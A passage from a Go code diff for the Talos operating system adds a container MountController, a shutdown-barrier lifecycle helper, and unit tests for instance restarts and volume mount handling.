time.Now().Add(-2*containersctrl.RestartInterval)) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(uint64(1), instance.TypedSpec().Generation) + }) + + // The terminated instance is destroyed rather than kept around: nothing is retained. + suite.assertNoInstance(0) +} + +// TestDoesNotRestartBeforeInterval covers the other half: a broken controller that restarts +// immediately would also pass TestRestartsAfterTermination alone. +func (suite *InstanceSuite) TestDoesNotRestartBeforeInterval() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.setInstanceStatus(0, containers.ContainerInstancePhaseTerminated, time.Now()) + + suite.tick() + suite.assertNoInstance(1) + + suite.setInstanceStatus(0, containers.ContainerInstancePhaseTerminated, time.Now().Add(-2*containersctrl.RestartInterval)) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(*containers.ContainerInstanceSpec, *assert.Assertions) {}) +} + +// TestFailedInstanceRestarts covers the failed phase restarting exactly like a terminated one. +func (suite *InstanceSuite) TestFailedInstanceRestarts() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + suite.setInstanceStatus(0, containers.ContainerInstancePhaseFailed, time.Now().Add(-2*containersctrl.RestartInterval)) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(*containers.ContainerInstanceSpec, *assert.Assertions) {}) +} + +// TestRestartWaitsForInstanceToStop covers a restart while something still holds the instance. +// +// Destroying the terminated instance before creating its replacement is what keeps none around, and +// that destruction is not instant: the runtime controller holds a finalizer until the task is stopped +// and its runtime state cleaned up. Creating the replacement without waiting for that would run two +// containers of the same name at once, and giving up on the wait would leave the container down for +// good. +func (suite *InstanceSuite) TestRestartWaitsForInstanceToStop() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + instanceMD := containers.NewContainerInstanceSpec(containers.NamespaceName, containers.InstanceID(testContainer, 0)).Metadata() + + // Stands in for the runtime controller still stopping the task. + suite.AddFinalizer(instanceMD, "test") + + suite.setInstanceStatus(0, containers.ContainerInstancePhaseTerminated, time.Now().Add(-2*containersctrl.RestartInterval)) + + // The restart is due, so the instance is on its way out, but it cannot be replaced yet. + ctest.AssertResource(suite, containers.InstanceID(testContainer, 0), func(instance *containers.ContainerInstanceSpec, asrt *assert.Assertions) { + asrt.Equal(resource.PhaseTearingDown, instance.Metadata().Phase()) + }) + + suite.tick() + suite.assertNoInstance(1) + + suite.RemoveFinalizer(instanceMD, "test") + + ctest.AssertResource(suite, containers.InstanceID(testContainer, 1), func(*containers.ContainerInstanceSpec, *assert.Assertions) {}) + suite.assertNoInstance(0) +} + +// TestKeepsNoOldInstances covers the invariant across a run of restarts: a container is only ever +// represented by one instance, and terminated ones are not accumulated. +// +// Checking it after several restarts rather than one is the point: a leak of one instance per restart +// is invisible in a single-restart test, and this is the shape that catches it. +func (suite *InstanceSuite) TestKeepsNoOldInstances() { + suite.createSpec() + suite.markImageReady() + + suite.assertInstance(0) + + const restarts = 5 + + for generation := range uint64(restarts) { + suite.setInstanceStatus(generation, containers.ContainerInstancePhaseTerminated, time.Now().Add(-2*containersctrl.RestartInterval)) + + ctest.AssertResource(suite, containers.InstanceID(testContainer, generation+1), func(*containers.ContainerInstanceSpec, *assert.Assertions) {}) + + // Every generation before the current one is gone, not merely the oldest. + for older := range generation + 1 { + suite.assertNoInstance(older) + } + } + + instances, err := safe.StateListAll[*containers.ContainerInstanceSpec](suite.Ctx(), suite.State()) + suite.Require().NoError(err) + + count := 0 + + for instance := range instances.All() { + if instance.TypedSpec().ContainerID == testContainer { + count++ + } + } + + suite.Require().Equal(1, count, "expected exactly one instance for %q", testContainer) +} diff --git a/internal/app/machined/pkg/controllers/containers/lifecycle.go b/internal/app/machined/pkg/controllers/containers/lifecycle.go new file mode 100644 index 00000000000..6552c0b3d53 --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/lifecycle.go @@ -0,0 +1,82 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "context" + "fmt" + + "github.com/cosi-project/runtime/pkg/controller" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + "go.uber.org/zap" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +// readContainerLifecycle returns the container shutdown barrier, or nil if it does not exist yet. +// +// It legitimately may not exist: the startup task creates it, so a controller can run a pass before +// it is there. +func readContainerLifecycle(ctx context.Context, r controller.Runtime) (*containers.ContainerLifecycle, error) { + lifecycle, err := safe.ReaderGetByID[*containers.ContainerLifecycle](ctx, r, containers.ContainerLifecycleID) + if err != nil { + if state.IsNotFoundError(err) { + return nil, nil + } + + return nil, fmt.Errorf("failed to get container lifecycle: %w", err) + } + + return lifecycle, nil +} + +// reconcileLifecycle holds a finalizer on the container shutdown barrier on behalf of controllerName. +// +// The barrier carries no data: the finalizer set is the payload, and the shutdown sequence blocks +// until it is empty. Every controller that owns something which must be wound down before services +// stop holds one, and releases it only once releasable reports that it has nothing left to wind down. +// +// Holding it is only half of the contract: a controller that holds one must also react to the +// barrier tearing down by winding down what it owns, or the shutdown sequence waits on a finalizer +// that is never released. See RuntimeController.reconcile. +func reconcileLifecycle( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + lifecycle *containers.ContainerLifecycle, + controllerName string, + releasable bool, +) error { + if lifecycle == nil { + return nil + } + + hasFinalizer := lifecycle.Metadata().Finalizers().Has(controllerName) + + switch lifecycle.Metadata().Phase() { + case resource.PhaseRunning: + if !hasFinalizer { + if err := r.AddFinalizer(ctx, lifecycle.Metadata(), controllerName); err != nil { + return fmt.Errorf("failed to add lifecycle finalizer: %w", err) + } + + logger.Debug("holding the container shutdown barrier") + } + case resource.PhaseTearingDown: + // Not logging the still-waiting case: it would repeat on every reconcile for the length of + // the shutdown, and the controllers already log each thing they are winding down. + if hasFinalizer && releasable { + if err := r.RemoveFinalizer(ctx, lifecycle.Metadata(), controllerName); err != nil { + return fmt.Errorf("failed to remove lifecycle finalizer: %w", err) + } + + logger.Info("released the container shutdown barrier") + } + } + + return nil +} diff --git a/internal/app/machined/pkg/controllers/containers/mount.go b/internal/app/machined/pkg/controllers/containers/mount.go new file mode 100644 index 00000000000..fcf2e4fc681 --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/mount.go @@ -0,0 +1,477 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "context" + "fmt" + "slices" + "strings" + + "github.com/cosi-project/runtime/pkg/controller" + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/safe" + "github.com/cosi-project/runtime/pkg/state" + "github.com/siderolabs/gen/optional" + "go.uber.org/zap" + + "github.com/siderolabs/talos/pkg/machinery/resources/block" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +// containerLabel carries the owning container on the mount requests this controller creates. +// +// The request ID is not parsed for it: a request that is no longer wanted still has to be attributed +// to a container to decide whether releasing it is safe. +const containerLabel = "container" + +// MountController resolves a container's mounts to host paths, and holds the volumes they need. +// +// Its one side effect is the block.VolumeMountRequest resources it creates and the finalizers it +// holds on the resulting block.VolumeMountStatus. That finalizer is what stops a volume being +// unmounted from under a running container, so it is released only once nothing is running. +type MountController struct{} + +// Name implements controller.Controller interface. +func (ctrl *MountController) Name() string { + return "containers.MountController" +} + +// Inputs implements controller.Controller interface. +func (ctrl *MountController) Inputs() []controller.Input { + return []controller.Input{ + { + Namespace: containers.NamespaceName, + Type: containers.ContainerSpecType, + Kind: controller.InputWeak, + }, + // Both instance types are read to decide whether a container is still using its mounts: a + // status alone leaves a hole between an instance being created and its first status being + // written, during which a starting container looks idle. + { + Namespace: containers.NamespaceName, + Type: containers.ContainerInstanceSpecType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerInstanceStatusType, + Kind: controller.InputWeak, + }, + { + Namespace: containers.NamespaceName, + Type: containers.ContainerLifecycleType, + ID: optional.Some(containers.ContainerLifecycleID), + Kind: controller.InputStrong, + }, + { + Namespace: block.NamespaceName, + Type: block.VolumeMountStatusType, + Kind: controller.InputStrong, + }, + { + // InputDestroyReady is what lets this controller tear down its own mount requests: it + // wakes us when one is tearing down with no finalizers left. + Namespace: block.NamespaceName, + Type: block.VolumeMountRequestType, + Kind: controller.InputDestroyReady, + }, + } +} + +// Outputs implements controller.Controller interface. +func (ctrl *MountController) Outputs() []controller.Output { + return []controller.Output{ + { + Type: containers.ContainerMountStatusType, + Kind: controller.OutputExclusive, + }, + { + // Shared: many controllers write mount requests. + Type: block.VolumeMountRequestType, + Kind: controller.OutputShared, + }, + } +} + +// Run implements controller.Controller interface. +func (ctrl *MountController) Run(ctx context.Context, r controller.Runtime, logger *zap.Logger) error { + for { + select { + case <-ctx.Done(): + return nil + case <-r.EventCh(): + } + + if err := ctrl.reconcile(ctx, r, logger); err != nil { + logger.Error("failed to reconcile container mounts", zap.Error(err)) + + return err + } + + r.ResetRestartBackoff() + } +} + +// mountRequestID builds the ID of the mount request for one container and volume. +// +// Per container rather than per volume, so two containers sharing a volume hold it independently and +// one stopping does not release the other's mount. Slash-separated because container and volume names +// both contain hyphens, which would make a hyphen-joined ID ambiguous and let two containers collide +// on one request. +func (ctrl *MountController) mountRequestID(containerID, volumeID string) string { + return ctrl.Name() + "/" + containerID + "/" + volumeID +} + +//nolint:gocyclo +func (ctrl *MountController) reconcile(ctx context.Context, r controller.Runtime, logger *zap.Logger) error { + lifecycle, err := readContainerLifecycle(ctx, r) + if err != nil { + return err + } + + // The barrier tearing down, or being gone, is the node on its way down. Everything is released + // here and nothing is requested again. Releasing without waiting for containers to stop is safe + // because it does not unmount anything by itself: the stopContainers phase runs before the + // unmount phases, so the volumes are still mounted for as long as the containers need them. + if lifecycle == nil || lifecycle.Metadata().Phase() == resource.PhaseTearingDown { + held, err := ctrl.releaseAll(ctx, r, logger) + if err != nil { + return err + } + + return reconcileLifecycle(ctx, r, logger, lifecycle, ctrl.Name(), held == 0) + } + + specs, err := safe.ReaderListAll[*containers.ContainerSpec](ctx, r) + if err != nil { + return fmt.Errorf("failed to list container specs: %w", err) + } + + live, err := ctrl.liveContainers(ctx, r) + if err != nil { + return err + } + + r.StartTrackingOutputs() + + wanted := map[string]struct{}{} + + for spec := range specs.All() { + containerID := spec.Metadata().ID() + + resolved, ready, reason, err := ctrl.reconcileContainer(ctx, r, logger, spec, wanted) + if err != nil { + return err + } + + if err := safe.WriterModify(ctx, r, + containers.NewContainerMountStatus(containers.NamespaceName, containerID), + func(res *containers.ContainerMountStatus) error { + res.TypedSpec().Ready = ready + res.TypedSpec().Mounts = resolved + res.TypedSpec().Error = reason + + return nil + }, + ); err != nil { + return fmt.Errorf("failed to write mount status %q: %w", containerID, err) + } + } + + if err := ctrl.releaseUnwanted(ctx, r, logger, wanted, live); err != nil { + return err + } + + if err := safe.CleanupOutputs[*containers.ContainerMountStatus](ctx, r); err != nil { + return fmt.Errorf("failed to clean up outputs: %w", err) + } + + return reconcileLifecycle(ctx, r, logger, lifecycle, ctrl.Name(), len(wanted) == 0) +} + +// liveContainers returns the containers which may still be using their mounts. +func (ctrl *MountController) liveContainers(ctx context.Context, r controller.Runtime) (map[string]struct{}, error) { + live := map[string]struct{}{} + + instances, err := safe.ReaderListAll[*containers.ContainerInstanceSpec](ctx, r) + if err != nil { + return nil, fmt.Errorf("failed to list instance specs: %w", err) + } + + // An instance that exists is either running or on its way to it, so its mounts are in use even + // before any status has been written. + for instance := range instances.All() { + live[instance.TypedSpec().ContainerID] = struct{}{} + } + + statuses, err := safe.ReaderListAll[*containers.ContainerInstanceStatus](ctx, r) + if err != nil { + return nil, fmt.Errorf("failed to list instance statuses: %w", err) + } + + for status := range statuses.All() { + if !status.TypedSpec().Phase.Done() { + live[status.TypedSpec().ContainerID] = struct{}{} + } + } + + return live, nil +} + +// reconcileContainer requests the mounts one container needs and resolves them to host paths. +// +//nolint:gocyclo,cyclop +func (ctrl *MountController) reconcileContainer( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + spec *containers.ContainerSpec, + wanted map[string]struct{}, +) (resolved []containers.ResolvedMountSpec, ready bool, reason string, err error) { + containerID := spec.Metadata().ID() + ready = true + + var reasons []string + + for _, mount := range spec.TypedSpec().Mounts { + if mount.Kind != containers.MountKindUserVolume { + // tmpfs and hostPath need nothing from the block subsystem: the source is either nothing + // at all or a path which must already exist. + resolved = append(resolved, containers.ResolvedMountSpec{ + Kind: mount.Kind, + Source: mount.Source, + Destination: mount.Destination, + Size: mount.Size, + Options: mount.Options, + }) + + continue + } + + requestID := ctrl.mountRequestID(containerID, mount.VolumeID) + wanted[requestID] = struct{}{} + + // Writable unless the options say otherwise; the writable default is already applied by + // ConfigController. + readOnly := slices.Contains(mount.Options, "ro") + + if err = safe.WriterModify(ctx, r, + block.NewVolumeMountRequest(block.NamespaceName, requestID), + func(res *block.VolumeMountRequest) error { + res.Metadata().Labels().Set(containerLabel, containerID) + + res.TypedSpec().VolumeID = mount.VolumeID + res.TypedSpec().Requester = ctrl.Name() + res.TypedSpec().ReadOnly = readOnly + // Detached must stay false: a detached mount is reachable only through a file + // descriptor and never appears at its target, so there would be no path to bind. + res.TypedSpec().Detached = false + + return nil + }, + ); err != nil { + return nil, false, "", fmt.Errorf("failed to write mount request %q: %w", requestID, err) + } + + mountStatus, getErr := safe.ReaderGetByID[*block.VolumeMountStatus](ctx, r, requestID) + if getErr != nil { + if !state.IsNotFoundError(getErr) { + return nil, false, "", fmt.Errorf("failed to get mount status %q: %w", requestID, getErr) + } + + ready = false + + reasons = append(reasons, fmt.Sprintf("waiting for volume %q to be mounted", mount.VolumeID)) + + continue + } + + if mountStatus.Metadata().Phase() != resource.PhaseRunning { + // Either the volume is going away, or this status is left over from a previous generation + // and is still tearing down. Adding a finalizer now would block that teardown forever, so + // report not-ready instead so the container won't start/restart while the volume is unavailable. + ready = false + + reasons = append(reasons, fmt.Sprintf("volume %q is being unmounted", mount.VolumeID)) + + continue + } + + if mountStatus.TypedSpec().ReadOnly && !readOnly { + // Mount requests are merged per volume and end up read-only if every requester asked for + // read-only, so another holder can leave this one with less access than it asked for. + ready = false + + reasons = append(reasons, fmt.Sprintf("volume %q is mounted read-only", mount.VolumeID)) + + continue + } + + if !mountStatus.Metadata().Finalizers().Has(ctrl.Name()) { + if err = r.AddFinalizer(ctx, mountStatus.Metadata(), ctrl.Name()); err != nil { + return nil, false, "", fmt.Errorf("failed to add finalizer on %q: %w", requestID, err) + } + + logger.Info("holding volume mount for container", + zap.String("container", containerID), + zap.String("volume", mount.VolumeID), + zap.String("target", mountStatus.TypedSpec().Target), + zap.Bool("readOnly", readOnly), + ) + } + + resolved = append(resolved, containers.ResolvedMountSpec{ + Kind: mount.Kind, + Source: mountStatus.TypedSpec().Target, + Destination: mount.Destination, + Options: mount.Options, + VolumeID: mount.VolumeID, + }) + } + + return resolved, ready, strings.Join(reasons, "; "), nil +} + +// releaseUnwanted releases the mounts no container needs any more. +func (ctrl *MountController) releaseUnwanted( + ctx context.Context, + r controller.Runtime, + logger *zap.Logger, + wanted map[string]struct{}, + live map[string]struct{}, +) error { + ours, err := ctrl.ownedRequests(ctx, r) + if err != nil { + return err + } + + for _, request := range ours { + requestID := request.Metadata().ID() + + if _, stillWanted := wanted[requestID]; stillWanted { + continue + } + + containerID, _ := request.Metadata().Labels().Get(containerLabel) + + // The spec may no longer list the mount while the task still has the path open, so the hold + // outlives the request for as long as anything is running. + if _, isLive := live[containerID]; isLive { + logger.Debug("deferring volume mount release until the container stops", + zap.String("container", containerID), + zap.String("request", requestID), + ) + + continue + } + + if err := ctrl.release(ctx, r, logger, requestID); err != nil { + return err + } + } + + return nil +} + +// releaseAll releases every mount this controller holds, reporting how many are still held. +func (ctrl *MountController) releaseAll(ctx context.Context, r controller.Runtime, logger *zap.Logger) (int, error) { + ours, err := ctrl.ownedRequests(ctx, r) + if err != nil { + return 0, err + } + + for _, request := range ours { + if err := ctrl.release(ctx, r, logger, request.Metadata().ID()); err != nil { + return 0, err + } + } + + // Counted after the pass: a request whose teardown is still waiting on another finalizer is + // still held, and the shutdown barrier has to keep waiting for it. + remaining, err := ctrl.ownedRequests(ctx, r) + if err != nil { + return 0, err + } + + return len(remaining), nil +} + +// ownedRequests returns the mount requests created by this controller. +func (ctrl *MountController) ownedRequests(ctx context.Context, r controller.Runtime) ([]*block.VolumeMountRequest, error) { + requests, err := safe.ReaderListAll[*block.VolumeMountRequest](ctx, r) + if err != nil { + return nil, fmt.Errorf("failed to list mount requests: %w", err) + } + + var ours []*block.VolumeMountRequest + + for request := range requests.All() { + if request.TypedSpec().Requester == ctrl.Name() { + ours = append(ours, request) + } + } + + return ours, nil +} + +// release gives back one mount: the finalizer first, then the request itself. +func (ctrl *MountController) release(ctx context.Context, r controller.Runtime, logger *zap.Logger, requestID string) error { + if err := ctrl.releaseFinalizer(ctx, r, logger, requestID); err != nil { + return err + } + + return ctrl.destroyRequest(ctx, r, logger, requestID) +} + +// releaseFinalizer drops this controller's hold on the mount status, if it holds one. +func (ctrl *MountController) releaseFinalizer(ctx context.Context, r controller.Runtime, logger *zap.Logger, requestID string) error { + mountStatus, err := safe.ReaderGetByID[*block.VolumeMountStatus](ctx, r, requestID) + if err != nil { + if state.IsNotFoundError(err) { + return nil + } + + return fmt.Errorf("failed to get mount status %q: %w", requestID, err) + } + + if !mountStatus.Metadata().Finalizers().Has(ctrl.Name()) { + return nil + } + + if err := r.RemoveFinalizer(ctx, mountStatus.Metadata(), ctrl.Name()); err != nil { + return fmt.Errorf("failed to remove finalizer on %q: %w", requestID, err) + } + + logger.Info("released volume mount", zap.String("request", requestID)) + + return nil +} + +// destroyRequest tears down the mount request and destroys it once nothing holds it. +func (ctrl *MountController) destroyRequest(ctx context.Context, r controller.Runtime, logger *zap.Logger, requestID string) error { + requestMD := block.NewVolumeMountRequest(block.NamespaceName, requestID).Metadata() + + okToDestroy, err := r.Teardown(ctx, requestMD) + if err != nil { + if state.IsNotFoundError(err) { + return nil + } + + return fmt.Errorf("failed to tear down mount request %q: %w", requestID, err) + } + + if !okToDestroy { + logger.Debug("waiting for the volume mount request to be released", zap.String("request", requestID)) + + return nil + } + + if err := r.Destroy(ctx, requestMD); err != nil && !state.IsNotFoundError(err) { + return fmt.Errorf("failed to destroy mount request %q: %w", requestID, err) + } + + return nil +} diff --git a/internal/app/machined/pkg/controllers/containers/mount_test.go b/internal/app/machined/pkg/controllers/containers/mount_test.go new file mode 100644 index 00000000000..80d579827fb --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/mount_test.go @@ -0,0 +1,345 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "testing" + "time" + + "github.com/cosi-project/runtime/pkg/resource" + "github.com/cosi-project/runtime/pkg/state" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/suite" + + containersctrl "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/containers" + "github.com/siderolabs/talos/internal/app/machined/pkg/controllers/ctest" + "github.com/siderolabs/talos/pkg/machinery/resources/block" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +const ( + // mountContainer is the container name the mount tests use. + mountContainer = "nginx" + // testVolumeID is the block volume ID a userVolume mount resolves to. + testVolumeID = "u-web-content" + // testVolumeTarget is the host path the block subsystem mounts the volume at. + testVolumeTarget = "/var/mnt/web-content" +) + +// mountControllerName is the controller's own name, used as both requester and finalizer. +const mountControllerName = "containers.MountController" + +type MountSuite struct { + ctest.DefaultSuite +} + +func TestMountSuite(t *testing.T) { + t.Parallel() + + suite.Run(t, &MountSuite{ + DefaultSuite: ctest.DefaultSuite{ + Timeout: 15 * time.Second, + AfterSetup: func(suite *ctest.DefaultSuite) { + suite.Require().NoError(suite.Runtime().RegisterController(&containersctrl.MountController{})) + }, + }, + }) +} + +// SetupTest creates the shutdown barrier, which the controller requires to do anything: its absence +// means the node is going down. +func (suite *MountSuite) SetupTest() { + suite.DefaultSuite.SetupTest() + + suite.Require().NoError(suite.State().Create(suite.Ctx(), + containers.NewContainerLifecycle(containers.NamespaceName, containers.ContainerLifecycleID))) +} + +// testRequestID mirrors the controller's naming so tests can find what it creates. +var testRequestID = mountControllerName + "/" + mountContainer + "/" + testVolumeID + +func (suite *MountSuite) createSpec(mounts ...containers.ContainerMountSpec) { + spec := containers.NewContainerSpec(containers.NamespaceName, mountContainer) + spec.TypedSpec().Image = containers.ContainerImageSpec{Ref: "docker.io/library/nginx:latest"} + spec.TypedSpec().Mounts = mounts + + suite.Require().NoError(suite.State().Create(suite.Ctx(), spec)) +} + +func (suite *MountSuite) userVolumeMount(options ...string) containers.ContainerMountSpec { + return containers.ContainerMountSpec{ + Kind: containers.MountKindUserVolume, + VolumeID: testVolumeID, + Destination: "/usr/share/nginx/html", + Options: options, + } +} + +// satisfyMount creates the VolumeMountStatus the block subsystem would produce for the request. +func (suite *MountSuite) satisfyMount(readOnly bool) { + status := block.NewVolumeMountStatus(block.NamespaceName, testRequestID) + status.TypedSpec().VolumeID = testVolumeID + status.TypedSpec().Requester = mountControllerName + status.TypedSpec().Target = testVolumeTarget + status.TypedSpec().ReadOnly = readOnly + + suite.Require().NoError(suite.State().Create(suite.Ctx(), status)) +} + +// createInstance stands in for the instance controller having decided the container should run. +func (suite *MountSuite) createInstance(generation uint64) { + instance := containers.NewContainerInstanceSpec(containers.NamespaceName, containers.InstanceID(mountContainer, generation)) + instance.TypedSpec().ContainerID = mountContainer + instance.TypedSpec().Generation = generation + + suite.Require().NoError(suite.State().Create(suite.Ctx(), instance)) +} + +func (suite *MountSuite) assertMountsReady(ready bool) { + ctest.AssertResource(suite, mountContainer, func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.Equal(ready, status.TypedSpec().Ready, "error: %q", status.TypedSpec().Error) + }) +} + +// TestPassesThroughTmpfsAndHostPath covers the mount kinds that need nothing from the block +// subsystem, and so are ready without anything else happening. +func (suite *MountSuite) TestPassesThroughTmpfsAndHostPath() { + suite.createSpec( + containers.ContainerMountSpec{ + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + }, + containers.ContainerMountSpec{ + Kind: containers.MountKindHostPath, + Source: "/dev", + Destination: "/dev", + Options: []string{"ro"}, + }, + ) + + ctest.AssertResource(suite, mountContainer, func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.True(status.TypedSpec().Ready) + + // Guarded: this closure is retried until it holds, so it must not panic on an intermediate + // state. + if !asrt.Len(status.TypedSpec().Mounts, 2) { + return + } + + asrt.Equal(uint64(64<<20), status.TypedSpec().Mounts[0].Size) + asrt.Equal("/dev", status.TypedSpec().Mounts[1].Source) + }) + + // Nothing was asked of the block subsystem. + ctest.AssertNoResource[*block.VolumeMountRequest](suite, testRequestID) +} + +// TestRequestsAndResolvesUserVolume covers the whole happy path for a userVolume: the request, the +// wait, the finalizer, and the resolved host path. +func (suite *MountSuite) TestRequestsAndResolvesUserVolume() { + suite.createSpec(suite.userVolumeMount()) + + ctest.AssertResource(suite, testRequestID, func(request *block.VolumeMountRequest, asrt *assert.Assertions) { + asrt.Equal(testVolumeID, request.TypedSpec().VolumeID) + asrt.Equal(mountControllerName, request.TypedSpec().Requester) + // Writable by default. + asrt.False(request.TypedSpec().ReadOnly) + // Detached would give a file descriptor with no path to bind into the container. + asrt.False(request.TypedSpec().Detached) + }) + + // Until the volume is mounted there is no host path, so the container cannot start. + ctest.AssertResource(suite, mountContainer, func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.False(status.TypedSpec().Ready) + asrt.Contains(status.TypedSpec().Error, testVolumeID) + }) + + suite.satisfyMount(false) + + ctest.AssertResource(suite, mountContainer, func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.True(status.TypedSpec().Ready) + + if !asrt.Len(status.TypedSpec().Mounts, 1) { + return + } + + // The host path is only knowable from the mount status. + asrt.Equal(testVolumeTarget, status.TypedSpec().Mounts[0].Source) + asrt.Equal("/usr/share/nginx/html", status.TypedSpec().Mounts[0].Destination) + asrt.Equal(testVolumeID, status.TypedSpec().Mounts[0].VolumeID) + }) + + // Without the finalizer the volume could be unmounted from under the container. + ctest.AssertResource(suite, testRequestID, func(status *block.VolumeMountStatus, asrt *assert.Assertions) { + asrt.True(status.Metadata().Finalizers().Has(mountControllerName)) + }) +} + +// TestReadOnlyOptionIsRequested covers ro reaching the block subsystem, which is what actually +// enforces it. +func (suite *MountSuite) TestReadOnlyOptionIsRequested() { + suite.createSpec(suite.userVolumeMount("ro")) + + ctest.AssertResource(suite, testRequestID, + func(request *block.VolumeMountRequest, asrt *assert.Assertions) { + asrt.True(request.TypedSpec().ReadOnly) + }) +} + +// TestReadOnlyMountIsNotAcceptedForWritable covers the volume coming back with less access than was +// asked for. +// +// Mount requests are merged per volume and end up read-only if every requester asked for read-only, +// so another holder can decide this. Reporting ready would give the container a read-only mount it +// did not ask for. +func (suite *MountSuite) TestReadOnlyMountIsNotAcceptedForWritable() { + suite.createSpec(suite.userVolumeMount()) + + ctest.AssertResource(suite, testRequestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + + suite.satisfyMount(true) + + ctest.AssertResource(suite, mountContainer, func(status *containers.ContainerMountStatus, asrt *assert.Assertions) { + asrt.False(status.TypedSpec().Ready) + asrt.Contains(status.TypedSpec().Error, "read-only") + }) +} + +// TestTearingDownMountMarksNotReady covers the volume behind a live mount going away. +// +// The mount is reported not-ready while the finalizer stays put: it keeps the volume mounted until the +// container has actually gone. +func (suite *MountSuite) TestTearingDownMountMarksNotReady() { + suite.createSpec(suite.userVolumeMount()) + + ctest.AssertResource(suite, testRequestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + suite.satisfyMount(false) + suite.assertMountsReady(true) + + // A live instance is what stops the hold being released while the container still runs. + suite.createInstance(0) + + statusMD := block.NewVolumeMountStatus(block.NamespaceName, testRequestID).Metadata() + + _, err := suite.State().Teardown(suite.Ctx(), statusMD) + suite.Require().NoError(err) + + suite.assertMountsReady(false) + + ctest.AssertResource(suite, testRequestID, func(status *block.VolumeMountStatus, asrt *assert.Assertions) { + asrt.True(status.Metadata().Finalizers().Has(mountControllerName), + "the hold was released while the container was still running") + }) +} + +// TestDoesNotFinalizeTearingDownMount covers a mount status left over from a previous generation. +// +// Adding a finalizer to something already tearing down would block that teardown forever, and the +// replacement mount status can only be created once the old one is gone. +func (suite *MountSuite) TestDoesNotFinalizeTearingDownMount() { + // Put the leftover in place, tearing down and pinned there by a foreign finalizer, before the + // container exists. Creating the spec first would let the controller legitimately finalize the + // status during the window before the teardown, which is what made an earlier version of this + // test race. + suite.satisfyMount(false) + + statusMD := block.NewVolumeMountStatus(block.NamespaceName, testRequestID).Metadata() + suite.AddFinalizer(statusMD, "test") + + _, err := suite.State().Teardown(suite.Ctx(), statusMD) + suite.Require().NoError(err) + + suite.createSpec(suite.userVolumeMount()) + + // The request is made, but the leftover status cannot be used or finalized. + ctest.AssertResource(suite, testRequestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + + suite.assertMountsReady(false) + + ctest.AssertResource(suite, testRequestID, func(status *block.VolumeMountStatus, asrt *assert.Assertions) { + asrt.False(status.Metadata().Finalizers().Has(mountControllerName), + "a finalizer was added to a mount status which was already tearing down") + }) + + suite.RemoveFinalizer(statusMD, "test") +} + +// TestReleasesMountWhenContainerGoesAway covers the mount being given back once the container is gone +// and nothing is running. +func (suite *MountSuite) TestReleasesMountWhenContainerGoesAway() { + suite.createSpec(suite.userVolumeMount()) + + ctest.AssertResource(suite, testRequestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + suite.satisfyMount(false) + suite.assertMountsReady(true) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), + containers.NewContainerSpec(containers.NamespaceName, mountContainer).Metadata())) + + // The request is destroyed and the finalizer dropped, so the volume can be unmounted again. + ctest.AssertNoResource[*block.VolumeMountRequest](suite, testRequestID) + + ctest.AssertResource(suite, testRequestID, func(status *block.VolumeMountStatus, asrt *assert.Assertions) { + asrt.False(status.Metadata().Finalizers().Has(mountControllerName)) + }) + + ctest.AssertNoResource[*containers.ContainerMountStatus](suite, mountContainer) +} + +// TestKeepsMountWhileInstanceIsLive covers a mount removed from the spec while the container is still +// running with it. +// +// The task may still have the path open, so the hold has to outlive the spec change. +func (suite *MountSuite) TestKeepsMountWhileInstanceIsLive() { + suite.createSpec(suite.userVolumeMount()) + + ctest.AssertResource(suite, testRequestID, func(*block.VolumeMountRequest, *assert.Assertions) {}) + suite.satisfyMount(false) + suite.assertMountsReady(true) + + suite.createInstance(0) + + // Drop the mount from the spec while the instance is still live. + ctest.UpdateWithConflicts(suite, containers.NewContainerSpec(containers.NamespaceName, mountContainer), + func(spec *containers.ContainerSpec) error { + spec.TypedSpec().Mounts = nil + + return nil + }) + + // The spec no longer wants it, but the running task might, so it stays. + ctest.AssertResource(suite, testRequestID, func(request *block.VolumeMountRequest, asrt *assert.Assertions) { + asrt.Equal(resource.PhaseRunning, request.Metadata().Phase()) + }) + + suite.Require().NoError(suite.State().Destroy(suite.Ctx(), + containers.NewContainerInstanceSpec(containers.NamespaceName, containers.InstanceID(mountContainer, 0)).Metadata())) + + 